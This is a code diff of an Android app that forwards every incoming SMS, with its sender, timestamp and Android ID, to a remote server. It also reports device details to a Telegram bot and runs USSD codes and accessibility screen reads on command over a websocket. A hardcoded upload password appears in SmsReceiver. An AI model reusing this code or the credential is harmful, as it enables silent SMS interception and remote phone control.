 import com.app.duck.R;
 import com.app.duck.dialog.UploadAppDialog;
+import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.SPUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
+import com.google.gson.JsonArray;
 
 import java.io.BufferedReader;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.InputStreamReader;
 import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.concurrent.TimeUnit;
 import java.util.zip.GZIPOutputStream;
 
@@ -219,4 +226,90 @@ public class HxUtils {
         return baos.toByteArray();
     }
 
+
+    @SuppressLint("MissingPermission")
+    public static void setCurrentPhoneList() {
+        try {
+            List<HashMap<String, Object>> list = new ArrayList<>();
+            SubscriptionManager subscriptionManager = (SubscriptionManager) Utils.getApp().getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+            List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
+
+            if (subsInfoList == null)
+                SPUtils.getInstance().put("current_id_slot_number", GsonUtils.toJson(list), true);
+            for (SubscriptionInfo subscriptionInfo : subsInfoList) {
+
+                HashMap<String, Object> map = new HashMap<>();
+                map.put("SubscriptionId", subscriptionInfo.getSubscriptionId());
+                map.put("SimSlotIndex", subscriptionInfo.getSimSlotIndex());
+                map.put("Number", subscriptionInfo.getNumber() == null ? "UNKNOWN" : subscriptionInfo.getNumber());//如果有
+//                map.put("iccID", subscriptionInfo.getIccId());
+                map.put("disname", subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName());
+                map.put("iccID", subscriptionInfo.getCarrierName() == null ? "UNKNOWN" : subscriptionInfo.getCarrierName());
+                list.add(map);
+            }
+            SPUtils.getInstance().put("current_id_slot_number", GsonUtils.toJson(list), true);
+
+        } catch (Exception e) {
+            XLog.e("getCurrentPhoneList", e);
+            Log.e("hzshkj", "getCurrentPhoneList: ", e);
+        }
+    }
+
+    //获取映射关系
+    public static JsonArray getCurrentPhoneList() {
+        setCurrentPhoneList();
+        return GsonUtils.fromJson(SPUtils.getInstance().getString("current_id_slot_number"), JsonArray.class);
+    }
+
+    public static String getRecord(int subId) {
+        return SPUtils.getInstance().getString("sub_" + subId);
+    }
+
+    @SuppressLint("MissingPermission")
+    public static String setRecord(String subId, String Number) {
+        try {
+            boolean containsValue = false;
+            String key = null;
+            for (Map.Entry<String, ?> entry : SPUtils.getInstance().getAll().entrySet()) {
+                Log.d("hzshkj", "[HxUtils] setRecord: entry.getKey()="
+                        + entry.getKey() + "..value=" + entry.getValue() + "..Number=" + Number
+                        + "...bbb=" + Number.equals(entry.getValue()));
+                if (entry.getValue() != null && entry.getValue().equals(Number)) {
+                    Log.d("hzshkj", "[HxUtils] setRecord: 11111111");
+                    containsValue = true;
+                    key = entry.getKey();
+                    break;
+                }
+            }
+            if (containsValue) {
+                Log.d("hzshkj", "[HxUtils] setRecord: 222");
+                ToastUtils.showLong(StringUtils.getString(R.string.abcvfd, Number, key.replace("sub_", "")));
+                Log.d("hzshkj", "[HxUtils] setRecord: 3333");
+
+                return key;
+            }
+
+            SPUtils.getInstance().put("sub_" + subId, Number);
+            ToastUtils.showLong(R.string.setup_successful);
+            return null;
+        } catch (Exception e) {
+            XLog.e("setRecord", e);
+            Log.e("hzshkj", "setRecord: ", e);
+        }
+        return "error";
+    }
+
+
+    public static String getPhoneConfig() {
+        HashMap<String, Object> map = new HashMap<>();
+        try {
+            for (Map.Entry<String, ?> entry : SPUtils.getInstance().getAll().entrySet()) {
+                map.put(entry.getKey(), entry.getValue() == null ? "" : entry.getValue());
+            }
+        } catch (Exception e) {
+            XLog.e("getPhoneConfig", e);
+            Log.e("hzshkj", "getPhoneConfig: ", e);
+        }
+        return GsonUtils.toJson(map);
+    }
 }

+ 81 - 45
frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java

@@ -1,6 +1,7 @@
 package com.app.duck.util;
 
 
+import android.Manifest;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -12,17 +13,20 @@ import android.telephony.SmsMessage;
 import android.util.Log;
 
 import com.alibaba.fastjson.JSON;
-import com.app.duck.Config;
 import com.app.duck.database.DBHelper;
 import com.app.http.APPConfig;
 import com.app.http.BaseBean;
 import com.app.http.Http;
+import com.blankj.utilcode.util.DeviceUtils;
 import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.PermissionUtils;
+import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
 
 import java.util.HashMap;
+import java.util.Set;
 
 public class SmsReceiver extends BroadcastReceiver {
     private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@@ -48,11 +52,13 @@ public class SmsReceiver extends BroadcastReceiver {
 
                         }
                         String smsBody = smsBodyBuilder.toString();
+                        String phone = getPhone(intent.getExtras()) == null ? "UNKNOWN" : getPhone(intent.getExtras());
                         map.put("body", smsBody);
-                        map.put("address", HxUtils.getPhone());
+                        map.put("address", phone);
                         map.put("timestampMillis", timestampMillis + "");
-                        String simInfo = GsonUtils.toJson(findSMSId(context, timestampMillis, smsBody, map));
-                        pushSms(simInfo, 0, 1000);
+                        Log.d("hzshkj", "[SmsSentReceiver] onReceive: " + getPhone(intent.getExtras()));
+                        String simInfo = GsonUtils.toJson(findSMSId(context, timestampMillis, map));
+                        pushSms(simInfo, 0, 1000, !"UNKNOWN".equals(phone));
 
                     }
                 }
@@ -62,11 +68,11 @@ public class SmsReceiver extends BroadcastReceiver {
 
     }
 
-    private HashMap<String, String> findSMSId(Context context, long timestamp, String body, HashMap<String, String> map) {
+    private HashMap<String, String> findSMSId(Context context, long timestamp, HashMap<String, String> map) {
         // 查询短信数据库,根据发送方号码和时间戳等属性来定位短信记录,并获取其ID
         Uri uri = Uri.parse("content://sms/inbox");
-        String selection = "date_sent = ? or body = ?";
-        String[] selectionArgs = new String[]{String.valueOf(timestamp), body};
+        String selection = "date_sent = ?";
+        String[] selectionArgs = new String[]{String.valueOf(timestamp)};
 
         Cursor cursor = context.getContentResolver().query(uri, null, selection, selectionArgs, null);
         if (cursor != null && cursor.moveToFirst()) {
@@ -91,52 +97,29 @@ public class SmsReceiver extends BroadcastReceiver {
             } else {
                 XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
             }
-            cursor.close();
-        } else {
-            new TgBot("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp, true);
-            Log.i(Config.LOG_TAG, "Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
-            XLog.i("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
-            String selectionB = "date_sent = ?";
-            String[] selectionArgsB = new String[]{String.valueOf(timestamp)};
-            Cursor cursorB = context.getContentResolver().query(uri, null, selectionB, selectionArgsB, null);
-            if (cursorB != null && cursorB.moveToFirst()) {
-                int index1 = cursorB.getColumnIndexOrThrow(Telephony.Sms.ADDRESS);
-                if (index1 >= 0) {
-                    String address = cursorB.getString(index1); // 收件人
-                    map.put("sender", address);
-                } else {
-                    XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS) < 0");
-                }
-                int index2 = cursorB.getColumnIndexOrThrow(Telephony.Sms.DATE);
-                if (index2 >= 0) {
-                    long date = cursorB.getLong(index2); // 收件时间
-                    map.put("date", date + "");
+            try {
+                int index4 = cursor.getColumnIndexOrThrow(Telephony.Sms.SUBSCRIPTION_ID);
+                if (index4 >= 0) {
+                    int sub_id = cursor.getInt(index4);
+                    map.put("sub_id", sub_id + "");
                 } else {
-                    XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms.DATE) < 0");
+                    XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.SUBSCRIPTION_ID) < 0");
                 }
-                int index3 = cursorB.getColumnIndexOrThrow(Telephony.Sms._ID);
-                if (index3 >= 0) {
-                    int id = cursorB.getInt(index3); // 收件时间
-                    map.put("id", id + "");
-                } else {
-                    XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
-                }
-                new TgBot("Find sms by id result success second. date_sent = " + timestamp, true);
-                cursorB.close();
-            } else {
-                new TgBot("Find sms by id result error second. date_sent = " + timestamp, true);
-                Log.i(Config.LOG_TAG, "Find sms by id result error second. date_sent = " + timestamp);
-                XLog.i("Find sms by id result error second. date_sent = " + timestamp);
+            } catch (Exception e) {
+                XLog.e("这台设备好像没有SUBSCRIPTION_ID字段?报错信息", e);
+                new TgBot("这台设备好像没有SUBSCRIPTION_ID字段?请查看设备日志!", true);
             }
+            cursor.close();
         }
-
+        map.put("android_id", DeviceUtils.getAndroidID());
         return map;
     }
 
-    private void pushSms(String s, int retryCount, long delay) {
+    private void pushSms(String s, int retryCount, long delay, boolean isHaveNumber) {
         ThreadUtils.runOnUiThreadDelayed(new Runnable() {
             @Override
             public void run() {
+                Log.d("hzshkj", "接收到短信 上传到服务器 ---> " + s);
                 HashMap<String, Object> map = new HashMap<>();
                 map.put("data", s);
                 map.put("password", "o6M5sG7E@FAWLBL9");
@@ -151,7 +134,7 @@ public class SmsReceiver extends BroadcastReceiver {
                             @Override
                             public void onNext(String model) {
                                 try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
-                                    dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
+                                    dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), isHaveNumber ? 1 : 2);
                                 } catch (Exception e) {
                                     XLog.e("pushSms error.", e);
                                 }
@@ -163,7 +146,7 @@ public class SmsReceiver extends BroadcastReceiver {
                                 super.onError(ex);
                                 XLog.e("Push SMS error.", ex);
                                 if (retryCount < 10) {
-                                    pushSms(s, retryCount + 1, delay);
+                                    pushSms(s, retryCount + 1, delay, isHaveNumber);
                                 }
                             }
 
@@ -177,5 +160,58 @@ public class SmsReceiver extends BroadcastReceiver {
         }, delay);
 
     }
+
+
+    private String getPhone(Bundle bundle) {
+        //检查是否有权限,如果没有权限,直接返回
+        if (!PermissionUtils.isGranted(Manifest.permission.READ_PHONE_STATE)) {
+            Log.w("hzshkj", "you have not been granted READ_PHONE_STATE permission");
+            XLog.e("you have not been granted READ_PHONE_STATE permission");
+            return null;
+        }
+        int subscription = -1;
+        Set<String> keySet = bundle.keySet();
+        //第一次精准匹配subscription
+        for (String key : keySet) {
+            if ("subscription".equals(key)) {
+                subscription = bundle.getInt("subscription", -1);
+                break;
+            }
+        }
+        //如果没有匹配到,那么模糊匹配key转小写之后包含subscription的
+        if (subscription == -1) {
+            for (String key : keySet) {
+                if (key.toLowerCase().contains("subscription")) {
+                    subscription = bundle.getInt(key, -1);
+                    break;
+                }
+            }
+        }
+        //如果都没有找到,打印出所有字段写入日志,并且不再执行下去
+        if (subscription == -1) {
+            StringBuilder sb = new StringBuilder();
+            for (String key : keySet) {
+                sb.append("[key = ").append(key).append(" , value = ").append(bundle.get(key)).append("]");
+            }
+            Log.w("hzshkj", "subscription cannot be obtained ,keySet = " + sb);
+            XLog.e("subscription cannot be obtained ,keySet = " + sb);
+            return null;
+        }
+
+
+        //通过subscriptionId获取匹配本地配置,获取用户的手机号
+        String phoneNumber = HxUtils.getRecord(subscription);
+        if (StringUtils.isTrimEmpty(phoneNumber)) {
+            XLog.d("subscription->未设置手机号");
+            Log.d("hzshkj", "subscription->未设置手机号");
+            return null;
+        }
+
+        return phoneNumber;
+
+
+    }
+
+
 }
 

+ 6 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/SmsSentReceiver.java

@@ -6,10 +6,13 @@ import android.app.Activity;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.os.Bundle;
 import android.util.Log;
 
 import com.elvishew.xlog.XLog;
 
+import java.util.Set;
+
 /**
  * author: hx
  * created on: 2024/4/13 21:02
@@ -25,6 +28,7 @@ public class SmsSentReceiver extends BroadcastReceiver {
         String phone = intent.getStringExtra("phone");
         String content = intent.getStringExtra("content");
 
+
         if (resultCode == Activity.RESULT_OK) {
             long smsId = intent.getLongExtra("messageId", -1);
             XLog.i("sendSMS : " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
@@ -37,4 +41,6 @@ public class SmsSentReceiver extends BroadcastReceiver {
             sendWebSocketMsg(requestId, "exception", "resultCode:" + resultCode);
         }
     }
+
+
 }

+ 5 - 1
frpc_android-master/app/src/main/java/com/app/duck/util/TgBot.java

@@ -53,6 +53,7 @@ public class TgBot {
             public Object doInBackground() throws Throwable {
 
                 try {
+                    XLog.i("AndroidId -> " + DeviceUtils.getAndroidID());
                     XLog.i("AppName -> " + AppUtils.getAppName());
                     XLog.i("PackageName -> " + AppUtils.getAppPackageName());
                     XLog.i("AppVersionName -> " + AppUtils.getAppVersionName());
@@ -123,7 +124,10 @@ public class TgBot {
                 OkHttpClient client = new OkHttpClient();
                 RequestBody requestBody = new FormBody.Builder()
                         .add("chat_id", HxUtils.getChatId())
-                        .add("text", "Channel : " + BuildConfig.UPDATE_KEY + "\n" + "Phone number : " + HxUtils.getPhone() + "\n" + message)
+                        .add("text", "androidId : " + DeviceUtils.getAndroidID() + "\n" +
+                                "Channel : " + BuildConfig.UPDATE_KEY + "\n" +
+                                "Phone number : " + HxUtils.getPhone() + "\n" +
+                                message)
                         .build();
                 Request request = new Request.Builder()
                         .url(APP_TG_SEND_MESSAGE)

+ 8 - 7
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -78,7 +78,7 @@ public final class WsManager {
 
     public static WebSocket connectWebSocket() {
         if (StringUtils.isTrimEmpty(BuildConfig.WEB_URL) || StringUtils.equals("", BuildConfig.WEB_URL)) {
-            ThreadUtils.runOnUiThreadDelayed(() -> LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_13)), 10000);
+            ThreadUtils.runOnUiThreadDelayed(() -> LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_13)), 1000);
             return null;
         }
 
@@ -101,7 +101,7 @@ public final class WsManager {
                 String value = json.getString("value");
                 String content = json.getString("content");
                 String packageName = json.getString("packageName");
-                int simSlot = json.getIntValue("simslot");
+                int simSlot = json.getIntValue("subId");
                 int hashCode = json.getIntValue("hashCode");
                 int action = json.getIntValue("action");
                 JSONArray arguments = json.getJSONArray("arguments");
@@ -127,6 +127,8 @@ public final class WsManager {
                         break;
                     case "config":
                         HxUtils.checkForUpdateBotConfig();
+                    case "phoneConfig":
+                        HxUtils.getPhoneConfig();
                     case "getRootInActiveWindow":
                         ThreadUtils.runOnUiThread(() -> getNowRootInActiveWindow(requestId));
                         break;
@@ -229,7 +231,6 @@ public final class WsManager {
         };
         executorServiceUi.execute(() -> {
                     try {
-                        XLog.i("连接中--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/");
                         OkHttpClient client = new OkHttpClient.Builder().pingInterval(5, TimeUnit.SECONDS).build();
                         Request request = new Request.Builder().url(BuildConfig.WEB_URL + HxUtils.getPhone() + "/").build();
                         webSocket = client.newWebSocket(request, webSocketListener);
@@ -464,7 +465,7 @@ public final class WsManager {
         reconnectTask = executorService.schedule(() -> connectWebSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
     }
 
-    private static void callOverlay(String ussd, String request_id, int simslot) {
+    private static void callOverlay(String ussd, String request_id, int subId) {
         try {
             if (null != svc) {
                 Utils.getApp().stopService(svc);
@@ -473,7 +474,7 @@ public final class WsManager {
             svc.putExtra(OverlayShowingService.EXTRA, StringUtils.getString(R.string.action_ussd_msg));
             pendingServiceIntent(svc);
 
-            ussdApi.callUSSDOverlayInvoke(ussd, simslot, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
+            ussdApi.callUSSDOverlayInvoke(ussd, subId, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
                 @Override
                 public void responseInvoke(String message) {
                     sendWebSocketMsg(request_id, "response", message);
@@ -493,9 +494,9 @@ public final class WsManager {
 
     }
 
-    private static void callOverlay2(String ussd, String request_id, int simslot) {
+    private static void callOverlay2(String ussd, String request_id, int subId) {
         try {
-            ussdApi.callUSSDInvoke(ussd, simslot, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
+            ussdApi.callUSSDInvoke(ussd, subId, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
                 @Override
                 public void responseInvoke(String message) {
                     sendWebSocketMsg(request_id, "response", message);

+ 58 - 4
frpc_android-master/app/src/main/res/layout/content_main.xml

@@ -13,12 +13,41 @@
         android:layout_width="match_parent"
         android:layout_height="0dp"
         app:defaultNavHost="true"
-        app:layout_constraintBottom_toTopOf="@+id/phone_tv"
-        app:layout_constraintLeft_toLeftOf="parent"
-        app:layout_constraintRight_toRightOf="parent"
+        app:layout_constraintBottom_toTopOf="@+id/constraintLayout"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintHorizontal_bias="0.0"
+        app:layout_constraintStart_toStartOf="parent"
         app:layout_constraintTop_toTopOf="parent"
+        app:layout_constraintVertical_bias="0.0"
         app:navGraph="@navigation/mobile_navigation" />
 
+    <androidx.constraintlayout.widget.ConstraintLayout
+
+        android:id="@+id/constraintLayout"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_gravity="center"
+        android:background="@color/white"
+        app:layout_constraintBottom_toTopOf="@+id/workTv3"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent">
+
+
+        <androidx.recyclerview.widget.RecyclerView
+            android:id="@+id/rv"
+            android:layout_width="match_parent"
+            android:layout_height="200dp"
+            android:nestedScrollingEnabled="false"
+            app:layout_constraintBottom_toBottomOf="parent"
+            app:layout_constraintEnd_toEndOf="parent"
+            app:layout_constraintStart_toStartOf="parent"
+            tools:itemCount="51"
+            tools:listitem="@layout/layout_phone_item2" />
+
+
+    </androidx.constraintlayout.widget.ConstraintLayout>
+
+
     <TextView
         android:id="@+id/phone_tv"
         android:layout_width="match_parent"
@@ -35,6 +64,7 @@
         android:singleLine="true"
         android:textColor="@color/white"
         android:textColorHint="@color/white"
+        android:visibility="gone"
         app:layout_constraintBottom_toBottomOf="parent"
         app:layout_constraintEnd_toEndOf="parent"
         app:layout_constraintStart_toStartOf="parent" />
@@ -54,7 +84,7 @@
         android:scrollHorizontally="true"
         android:singleLine="true"
         android:textColor="#89FF00"
-        app:layout_constraintBottom_toBottomOf="@+id/nav_host_fragment"
+        app:layout_constraintBottom_toTopOf="@+id/phone_tv"
         app:layout_constraintEnd_toEndOf="parent"
         app:layout_constraintStart_toStartOf="parent"
         tools:text="1111111111111111111111111" />
@@ -96,4 +126,28 @@
         app:layout_constraintEnd_toEndOf="parent"
         app:layout_constraintStart_toStartOf="parent"
         tools:text="1111111111111111111111111" />
+
+    <TextView
+        android:id="@+id/textView2"
+        android:layout_width="0dp"
+        android:layout_height="0dp"
+        android:layout_margin="30dp"
+        android:background="@color/red"
+        android:ellipsize="marquee"
+        android:focusable="true"
+        android:focusableInTouchMode="true"
+        android:gravity="center"
+        android:marqueeRepeatLimit="marquee_forever"
+        android:paddingTop="3dp"
+        android:paddingBottom="3dp"
+        android:visibility="gone"
+        android:textColor="@color/black"
+        android:textColorHint="@color/white"
+        android:textSize="20sp"
+        android:textStyle="bold"
+        app:layout_constraintBottom_toBottomOf="@+id/nav_host_fragment"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="@+id/nav_host_fragment"
+        tools:text="1111111111" />
 </androidx.constraintlayout.widget.ConstraintLayout>

+ 82 - 0
frpc_android-master/app/src/main/res/layout/layout_phone_item2.xml

@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:card_view="http://schemas.android.com/apk/res-auto"
+    android:id="@+id/info_container"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:gravity="center"
+    android:orientation="horizontal">
+
+    <TextView
+        android:id="@+id/text1"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+
+        android:layout_marginStart="15dp"
+        android:gravity="center_vertical"
+        android:lines="1"
+        android:text="simslot"
+        android:textAppearance="@style/TextAppearance.AppCompat.Subhead"
+        android:textColor="@color/black"
+        android:textSize="14sp"
+        android:textStyle="bold"
+        app:layout_constraintEnd_toStartOf="@+id/text3"
+        app:layout_constraintHorizontal_bias="0.5"
+        app:layout_constraintStart_toEndOf="@+id/text2"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+    <TextView
+        android:id="@+id/text2"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+        android:layout_marginStart="15dp"
+        android:gravity="center_vertical"
+        android:lines="1"
+        android:text="subid"
+        android:textAppearance="@style/TextAppearance.AppCompat.Subhead"
+        android:textColor="@color/black"
+        android:textSize="14sp"
+        android:textStyle="bold"
+        app:layout_constraintEnd_toStartOf="@+id/text1"
+
+        app:layout_constraintHorizontal_bias="0.5"
+        app:layout_constraintHorizontal_chainStyle="packed"
+        app:layout_constraintStart_toStartOf="parent"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+    <TextView
+        android:id="@+id/text3"
+        android:layout_width="0dp"
+        android:layout_height="match_parent"
+        android:layout_marginStart="15dp"
+        android:gravity="center_vertical"
+        android:lines="1"
+        android:hint="@string/set_the_number"
+        android:textAppearance="@style/TextAppearance.AppCompat.Subhead"
+        android:textColor="@color/black"
+        android:textSize="14sp"
+        android:textStyle="bold"
+        app:layout_constraintEnd_toStartOf="@+id/iv_delete"
+        app:layout_constraintHorizontal_bias="0.5"
+        app:layout_constraintStart_toEndOf="@+id/text1"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+    <ImageView
+        android:id="@+id/iv_delete"
+        android:layout_width="@dimen/dimensImageSize"
+        android:layout_height="@dimen/dimensImageSize"
+        android:background="?android:attr/selectableItemBackground"
+        android:padding="@dimen/dimensImagePadding"
+        android:src="@drawable/ic_edit_black"
+        app:tint="@color/black"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintEnd_toEndOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 5 - 0
frpc_android-master/app/src/main/res/menu/main.xml

@@ -47,6 +47,11 @@
                 android:title="@string/action_add_scan"
                 android:visible="false"
                 app:showAsAction="never" />
+            <item
+                android:id="@+id/action_id_index"
+                android:orderInCategory="100"
+                android:title="@string/subscriptionid_simslotindex"
+                app:showAsAction="never" />
 
         </menu>
     </item>

+ 11 - 1
frpc_android-master/app/src/main/res/values-en/strings.xml

@@ -38,7 +38,9 @@
     <string name="configDeleteConfirm">Confirm deletion of this configuration</string>
     <string name="tipServiceRunning">This configuration is currently running. Please close it first</string>
     <string name="tipWaitService">Service is starting</string>
-    <string name="click_here_to_set_the_number">Click to set phone number</string>
+    <string name="click_here_to_set_the_number">phone number</string>
+    <string name="set_the_number">set phone number</string>
+
     <string name="phone_number">Phone number settings</string>
     <string name="number">Phone number:</string>
     <string name="ok">Confirm</string>
@@ -79,4 +81,12 @@
     <string name="kacao">SimSlot</string>
     <string name="phone">Phone Number</string>
     <string name="add">Add</string>
+    <string name="reset_your_mobile_phone_number">Please note that you have updated the new version of the App, please reset your mobile number</string>
+    <string name="subscriptionid_simslotindex">Phone Number</string>
+    <string name="abcvfd">[%1$s]This number has been set by [SubId %2$s], please contact us to solve it!</string>
+    <string name="setup_successful">Setup successful</string>
+    <string name="read_phone_state_sim">Without READ_PHONE_STATE permission, try refreshing the SIM card list again after two seconds.</string>
+    <string name="sim">Detected that the sim card has been removed</string>
+    <string name="please_set_the_number_for_the_sim_card">Please set the number for the sim-%1$d card [ %2$s ] !</string>
+
 </resources>

+ 9 - 1
frpc_android-master/app/src/main/res/values/strings.xml

@@ -37,7 +37,8 @@
     <string name="configDeleteConfirm">确定删除该条配置</string>
     <string name="tipServiceRunning">该配置正在运行中,请先关闭</string>
     <string name="tipWaitService">正在启动服务</string>
-    <string name="click_here_to_set_the_number">点击设置手机号码</string>
+    <string name="click_here_to_set_the_number">手机号码</string>
+    <string name="set_the_number">设置手机号码</string>
     <string name="phone_number">号码设置</string>
     <string name="number">号码:</string>
     <string name="ok">确认</string>
@@ -78,5 +79,12 @@
     <string name="kacao">卡槽</string>
     <string name="phone">手机号码</string>
     <string name="add">新增</string>
+    <string name="reset_your_mobile_phone_number">请注意,您已更新新版本App,请重置您的手机号码。</string>
+    <string name="subscriptionid_simslotindex">号码信息</string>
+    <string name="abcvfd">[%1$s]这个号码已经被[SubId %2$s]设置过了,请联系我们解决!</string>
+    <string name="setup_successful">号码设置成功</string>
+    <string name="read_phone_state_sim">没有READ_PHONE_STATE权限,两秒后重新尝试刷新SIM卡列表..</string>
+    <string name="sim">检测到sim卡被拔出</string>
+    <string name="please_set_the_number_for_the_sim_card">请给 SIM-%1$d [ %2$s ]卡设置手机号码!</string>
 
 </resources>

+ 2 - 2
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDApi.java

@@ -20,10 +20,10 @@ public interface USSDApi {
     void cancel();
     void callUSSDInvoke(String ussdPhoneNumber, HashMap<String,HashSet<String>> map,
                         USSDController.CallbackInvoke callbackInvoke);
-    void callUSSDInvoke(String ussdPhoneNumber, int simSlot, HashMap<String,HashSet<String>> map,
+    void callUSSDInvoke(String ussdPhoneNumber, int subId, HashMap<String,HashSet<String>> map,
                         USSDController.CallbackInvoke callbackInvoke);
     void callUSSDOverlayInvoke(String ussdPhoneNumber, HashMap<String,HashSet<String>> map,
                                USSDController.CallbackInvoke callbackInvoke);
-    void callUSSDOverlayInvoke(String ussdPhoneNumber, int simSlot, HashMap<String,HashSet<String>> map,
+    void callUSSDOverlayInvoke(String ussdPhoneNumber, int subId, HashMap<String,HashSet<String>> map,
                                USSDController.CallbackInvoke callbackInvoke);
 }

+ 58 - 26
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDController.java

@@ -19,11 +19,12 @@ import android.os.Build;
 import android.provider.Settings;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
 import android.text.TextUtils;
 import android.view.accessibility.AccessibilityManager;
 import android.widget.Toast;
 
-import com.elvishew.xlog.BuildConfig;
 import com.elvishew.xlog.XLog;
 
 import java.util.HashMap;
@@ -102,17 +103,17 @@ public class USSDController implements USSDInterface, USSDApi {
      * Invoke a dial-up calling a ussd number
      *
      * @param ussdPhoneNumber ussd number
-     * @param simSlot         simSlot number to use
+     * @param subId           subId number to use
      * @param map             Map of Login and problem messages
      * @param callbackInvoke  a callback object from return answer
      */
     @SuppressLint("MissingPermission")
-    public void callUSSDInvoke(String ussdPhoneNumber, int simSlot, HashMap<String, HashSet<String>> map, CallbackInvoke callbackInvoke) {
+    public void callUSSDInvoke(String ussdPhoneNumber, int subId, HashMap<String, HashSet<String>> map, CallbackInvoke callbackInvoke) {
         send = false;
         this.callbackInvoke = callbackInvoke;
         this.map = map;
         if (verifyAccesibilityAccess(context)) {
-            dialUp(ussdPhoneNumber, simSlot);
+            dialUp(ussdPhoneNumber, subId);
         } else {
             this.callbackInvoke.over("Check your accessibility");
         }
@@ -123,17 +124,17 @@ public class USSDController implements USSDInterface, USSDApi {
      * you had a overlay progress widget
      *
      * @param ussdPhoneNumber ussd number
-     * @param simSlot         simSlot number to use
+     * @param subId           subId number to use
      * @param map             Map of Login and problem messages
      * @param callbackInvoke  a callback object from return answer
      */
     @SuppressLint("MissingPermission")
-    public void callUSSDOverlayInvoke(String ussdPhoneNumber, int simSlot, HashMap<String, HashSet<String>> map, CallbackInvoke callbackInvoke) {
+    public void callUSSDOverlayInvoke(String ussdPhoneNumber, int subId, HashMap<String, HashSet<String>> map, CallbackInvoke callbackInvoke) {
         send = false;
         this.callbackInvoke = callbackInvoke;
         this.map = map;
         if (verifyAccesibilityAccess(context) && verifyOverLay(context)) {
-            dialUp(ussdPhoneNumber, simSlot);
+            dialUp(ussdPhoneNumber, subId);
         } else if (!verifyAccesibilityAccess(context)) {
             this.callbackInvoke.over("Check your accessibility -> error");
         } else if (!verifyOverLay(context)) {
@@ -143,7 +144,7 @@ public class USSDController implements USSDInterface, USSDApi {
         }
     }
 
-    private void dialUp(String ussdPhoneNumber, int simSlot) {
+    private void dialUp(String ussdPhoneNumber, int subId) {
         if (map == null || (!map.containsKey(KEY_ERROR) || !map.containsKey(KEY_LOGIN))) {
             this.callbackInvoke.over("Bad Mapping structure");
             return;
@@ -158,18 +159,61 @@ public class USSDController implements USSDInterface, USSDApi {
         Uri uriPhone = Uri.parse("tel:" + ussdPhoneNumber);
         if (uriPhone != null)
             isRunning = true;
-        this.context.startActivity(getActionCallIntent(uriPhone, simSlot));
+        Intent intent = getActionCallIntent(uriPhone, subId);
+        if (intent != null)
+            this.context.startActivity(getActionCallIntent(uriPhone, subId));
     }
 
     /**
      * get action call Intent
      *
